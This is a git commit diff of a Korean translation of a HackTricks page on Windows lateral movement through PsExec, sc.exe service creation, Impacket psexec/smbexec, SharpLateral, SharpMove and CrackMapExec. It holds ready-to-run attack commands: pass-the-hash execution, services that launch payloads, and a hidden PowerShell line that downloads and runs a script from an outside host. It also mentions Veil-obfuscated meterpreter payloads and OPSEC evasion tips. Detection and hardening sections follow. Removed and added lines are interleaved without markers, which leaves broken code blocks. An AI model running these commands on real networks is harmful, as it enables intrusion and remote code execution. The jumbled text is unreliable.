Translated ['src/windows-hardening/lateral-movement/psexec-and-winexec.m

This commit is contained in:
Translator 2025-08-18 14:16:54 +00:00
parent e8ffd6b823
commit 4ca9cd4c91

View File

@ -2,48 +2,149 @@
{{#include ../../banners/hacktricks-training.md}}
## 어떻게 작동하는가
## How do they work
프로세스는 아래 단계에 설명되어 있으며, SMB를 통해 대상 머신에서 원격 실행을 달성하기 위해 서비스 바이너리가 어떻게 조작되는지를 보여줍니다:
이 기술들은 SMB/RPC를 통해 원격으로 Windows 서비스 제어 관리자(SCM)를 악용하여 대상 호스트에서 명령을 실행합니다. 일반적인 흐름은 다음과 같습니다:
1. **ADMIN$ 공유에 서비스 바이너리를 SMB를 통해 복사**합니다.
2. **원격 머신에 서비스 생성**이 바이너리를 가리키도록 수행됩니다.
3. 서비스가 **원격으로 시작**됩니다.
4. 종료 시, 서비스는 **중지되고 바이너리는 삭제**됩니다.
1. 대상에 인증하고 SMB(TCP/445)를 통해 ADMIN$ 공유에 접근합니다.
2. 실행 파일을 복사하거나 서비스가 실행할 LOLBAS 명령줄을 지정합니다.
3. 해당 명령이나 바이너리를 가리키는 SCM(MS-SCMR over \PIPE\svcctl)을 통해 원격으로 서비스를 생성합니다.
4. 페이로드를 실행하기 위해 서비스를 시작하고 선택적으로 명명된 파이프를 통해 stdin/stdout을 캡처합니다.
5. 서비스를 중지하고 정리합니다(서비스 및 드롭된 바이너리 삭제).
### **PsExec 수동 실행 프로세스**
Requirements/prereqs:
- 대상에서 로컬 관리자(SeCreateServicePrivilege) 또는 명시적인 서비스 생성 권한.
- SMB(445)에 접근 가능하고 ADMIN$ 공유가 사용 가능; 호스트 방화벽을 통해 원격 서비스 관리 허용.
- UAC 원격 제한: 로컬 계정의 경우, 토큰 필터링이 네트워크에서 관리자를 차단할 수 있으며, 내장된 관리자 또는 LocalAccountTokenFilterPolicy=1을 사용해야 합니다.
- Kerberos vs NTLM: 호스트 이름/FQDN을 사용하면 Kerberos가 활성화되고, IP로 연결할 경우 NTLM으로 되돌아가는 경우가 많으며(강화된 환경에서는 차단될 수 있음).
msfvenom으로 생성되고 Veil을 사용하여 안티바이러스 탐지를 피하기 위해 난독화된 실행 가능한 페이로드가 있다고 가정합니다. 이 페이로드는 'met8888.exe'라는 이름을 가지며, meterpreter reverse_http 페이로드를 나타냅니다. 다음 단계가 수행됩니다:
### Manual ScExec/WinExec via sc.exe
- **바이너리 복사**: 실행 파일은 명령 프롬프트에서 ADMIN$ 공유로 복사되지만, 파일 시스템의 어디에나 배치하여 숨길 수 있습니다.
- 바이너리를 복사하는 대신 `powershell.exe` 또는 `cmd.exe`와 같은 LOLBAS 바이너리를 사용하여 인수에서 직접 명령을 실행할 수도 있습니다. 예: `sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"`
- **서비스 생성**: Windows `sc` 명령을 사용하여 원격으로 Windows 서비스를 쿼리, 생성 및 삭제할 수 있으며, 업로드된 바이너리를 가리키는 "meterpreter"라는 이름의 서비스가 생성됩니다.
- **서비스 시작**: 마지막 단계는 서비스를 시작하는 것으로, 바이너리가 진정한 서비스 바이너리가 아니기 때문에 예상 응답 코드를 반환하지 않아 "time-out" 오류가 발생할 가능성이 높습니다. 이 오류는 바이너리 실행이 주요 목표이므로 중요하지 않습니다.
다음은 최소한의 서비스 생성 접근 방식을 보여줍니다. 서비스 이미지는 드롭된 EXE 또는 cmd.exe 또는 powershell.exe와 같은 LOLBAS일 수 있습니다.
```cmd
:: Execute a one-liner without dropping a binary
sc.exe \\TARGET create HTSvc binPath= "cmd.exe /c whoami > C:\\Windows\\Temp\\o.txt" start= demand
sc.exe \\TARGET start HTSvc
sc.exe \\TARGET delete HTSvc
Metasploit 리스너를 관찰하면 세션이 성공적으로 시작되었음을 알 수 있습니다.
[sc 명령에 대해 더 알아보기](https://technet.microsoft.com/en-us/library/bb490995.aspx).
자세한 단계는 다음에서 확인하세요: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
- **Windows Sysinternals 바이너리 PsExec.exe**를 사용할 수도 있습니다:
![](<../../images/image (928).png>)
또는 webddav를 통해 접근할 수 있습니다:
```bash
\\live.sysinternals.com\tools\PsExec64.exe -accepteula
:: Drop a payload to ADMIN$ and execute it (example path)
copy payload.exe \\TARGET\ADMIN$\Temp\payload.exe
sc.exe \\TARGET create HTSvc binPath= "C:\\Windows\\Temp\\payload.exe" start= demand
sc.exe \\TARGET start HTSvc
sc.exe \\TARGET delete HTSvc
```
- 당신은 또한 [**SharpLateral**](https://github.com/mertdas/SharpLateral)를 사용할 수 있습니다:
노트:
- 비서비스 EXE를 시작할 때 타임아웃 오류가 발생할 수 있습니다; 실행은 여전히 발생합니다.
- OPSEC 친화성을 유지하기 위해 파일 없는 명령(cmd /c, powershell -enc)을 선호하거나 드롭된 아티팩트를 삭제하세요.
자세한 단계는 다음에서 확인하세요: https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/
## 도구 및 예제
### Sysinternals PsExec.exe
- SMB를 사용하여 ADMIN$에 PSEXESVC.exe를 드롭하고, 임시 서비스를 설치하며(기본 이름 PSEXESVC), 명명된 파이프를 통해 I/O를 프록시하는 고전적인 관리 도구입니다.
- 사용 예:
```cmd
:: Interactive SYSTEM shell on remote host
PsExec64.exe -accepteula \\HOST -s -i cmd.exe
:: Run a command as a specific domain user
PsExec64.exe -accepteula \\HOST -u DOMAIN\user -p 'Passw0rd!' cmd.exe /c whoami /all
:: Customize the service name for OPSEC (-r)
PsExec64.exe -accepteula \\HOST -r WinSvc$ -s cmd.exe /c ipconfig
```
- WebDAV를 통해 Sysinternals Live에서 직접 실행할 수 있습니다:
```cmd
\\live.sysinternals.com\tools\PsExec64.exe -accepteula \\HOST -s cmd.exe /c whoami
```
OPSEC
- 서비스 설치/제거 이벤트를 남기며 (서비스 이름은 -r이 사용되지 않는 한 종종 PSEXESVC임) 실행 중 C:\Windows\PSEXESVC.exe를 생성합니다.
### Impacket psexec.py (PsExec 유사)
- 내장된 RemCom 유사 서비스를 사용합니다. ADMIN$를 통해 임시 서비스 바이너리(일반적으로 무작위 이름)를 드롭하고, 서비스를 생성하며(기본적으로 종종 RemComSvc), 명명된 파이프를 통해 I/O를 프록시합니다.
```bash
# Password auth
psexec.py DOMAIN/user:Password@HOST cmd.exe
# Pass-the-Hash
psexec.py -hashes LMHASH:NTHASH DOMAIN/user@HOST cmd.exe
# Kerberos (use tickets in KRB5CCNAME)
psexec.py -k -no-pass -dc-ip 10.0.0.10 DOMAIN/user@host.domain.local cmd.exe
# Change service name and output encoding
psexec.py -service-name HTSvc -codec utf-8 DOMAIN/user:Password@HOST powershell -nop -w hidden -c "iwr http://10.10.10.1/a.ps1|iex"
```
아티팩트
- C:\Windows\에 임시 EXE (무작위 8자). 서비스 이름은 재정의되지 않는 한 기본적으로 RemComSvc입니다.
### Impacket smbexec.py (SMBExec)
- cmd.exe를 생성하고 I/O를 위해 명명된 파이프를 사용하는 임시 서비스를 생성합니다. 일반적으로 전체 EXE 페이로드를 드롭하는 것을 피하며, 명령 실행은 반대화적입니다.
```bash
smbexec.py DOMAIN/user:Password@HOST
smbexec.py -hashes LMHASH:NTHASH DOMAIN/user@HOST
```
### SharpLateral 및 SharpMove
- [SharpLateral](https://github.com/mertdas/SharpLateral) (C#)는 서비스 기반 exec를 포함한 여러 측면 이동 방법을 구현합니다.
```cmd
SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
```
- 또한 [**SharpMove**](https://github.com/0xthirteen/SharpMove)를 사용할 수 있습니다:
```bash
- [SharpMove](https://github.com/0xthirteen/SharpMove)는 원격으로 명령을 실행하기 위한 서비스 수정/생성을 포함합니다.
```cmd
SharpMove.exe action=modsvc computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true servicename=TestService
SharpMove.exe action=startservice computername=remote.host.local servicename=TestService
```
- **Impacket의 `psexec``smbexec.py`**를 사용할 수도 있습니다.
- CrackMapExec를 사용하여 다양한 백엔드를 통해 실행할 수도 있습니다 (psexec/smbexec/wmiexec):
```bash
cme smb HOST -u USER -p PASS -x "whoami" --exec-method psexec
cme smb HOST -u USER -H NTHASH -x "ipconfig /all" --exec-method smbexec
```
## OPSEC, detection and artifacts
PsExec와 유사한 기술을 사용할 때의 전형적인 호스트/네트워크 아티팩트:
- 보안 4624 (로그온 유형 3) 및 4672 (특수 권한) - 사용된 관리자 계정에 대한 대상.
- 보안 5140/5145 파일 공유 및 파일 공유 세부 이벤트가 ADMIN$ 접근 및 서비스 바이너리의 생성/작성을 보여줌 (예: PSEXESVC.exe 또는 임의의 8자 .exe).
- 대상에서의 보안 7045 서비스 설치: PSEXESVC, RemComSvc 또는 사용자 정의 서비스 이름 (-r / -service-name).
- Sysmon 1 (프로세스 생성) 서비스.exe 또는 서비스 이미지, 3 (네트워크 연결), 11 (파일 생성) C:\Windows\에서, 17/18 (파이프 생성/연결) \\.\pipe\psexesvc, \\.\pipe\remcom_* 또는 무작위 동등물에 대한 파이프.
- Sysinternals EULA에 대한 레지스트리 아티팩트: HKCU\Software\Sysinternals\PsExec\EulaAccepted=0x1 운영자 호스트에서 (억제되지 않은 경우).
사냥 아이디어
- ImagePath에 cmd.exe /c, powershell.exe 또는 TEMP 위치가 포함된 서비스 설치에 대한 경고.
- ParentImage가 C:\Windows\PSEXESVC.exe인 프로세스 생성 또는 LOCAL SYSTEM으로 실행되는 services.exe의 자식 프로세스 찾기.
- -stdin/-stdout/-stderr로 끝나는 명명된 파이프 또는 잘 알려진 PsExec 클론 파이프 이름 플래그 지정.
## Troubleshooting common failures
- 서비스 생성 시 액세스 거부 (5): 진정한 로컬 관리자 아님, 로컬 계정에 대한 UAC 원격 제한 또는 서비스 바이너리 경로에 대한 EDR 변조 방지.
- 네트워크 경로를 찾을 수 없음 (53) 또는 ADMIN$에 연결할 수 없음: SMB/RPC 차단 방화벽 또는 관리 공유 비활성화.
- Kerberos 실패하지만 NTLM 차단됨: 호스트 이름/FQDN (IP 아님) 사용하여 연결, 적절한 SPN 보장 또는 Impacket 사용 시 티켓과 함께 -k/-no-pass 제공.
- 서비스 시작 시간이 초과되지만 페이로드가 실행됨: 실제 서비스 바이너리가 아닐 경우 예상; 출력을 파일에 캡처하거나 smbexec를 사용하여 실시간 I/O.
## Hardening notes (modern changes)
- Windows 11 24H2 및 Windows Server 2025는 기본적으로 아웃바운드 (및 Windows 11 인바운드) 연결에 대해 SMB 서명을 요구합니다. 이는 유효한 자격 증명을 가진 합법적인 PsExec 사용을 방해하지 않지만 서명되지 않은 SMB 릴레이 남용을 방지하고 서명을 지원하지 않는 장치에 영향을 미칠 수 있습니다.
- 새로운 SMB 클라이언트 NTLM 차단 (Windows 11 24H2/Server 2025)은 IP로 연결하거나 비-Kerberos 서버에 연결할 때 NTLM 폴백을 방지할 수 있습니다. 강화된 환경에서는 NTLM 기반 PsExec/SMBExec가 중단되며, Kerberos (호스트 이름/FQDN)를 사용하거나 합법적으로 필요할 경우 예외를 구성해야 합니다.
- 최소 권한 원칙: 로컬 관리자 멤버십 최소화, Just-in-Time/Just-Enough Admin 선호, LAPS 시행, 7045 서비스 설치 모니터링/경고.
## See also
- WMI 기반 원격 실행 (종종 더 파일리스):
{{#ref}}
lateral-movement/wmiexec.md
{{#endref}}
- WinRM 기반 원격 실행:
{{#ref}}
lateral-movement/winrm.md
{{#endref}}
## References
- PsExec - Sysinternals | Microsoft Learn: https://learn.microsoft.com/sysinternals/downloads/psexec
- Windows Server 2025 및 Windows 11의 SMB 보안 강화 (기본적으로 서명, NTLM 차단): https://techcommunity.microsoft.com/blog/filecab/smb-security-hardening-in-windows-server-2025--windows-11/4226591
{{#include ../../banners/hacktricks-training.md}}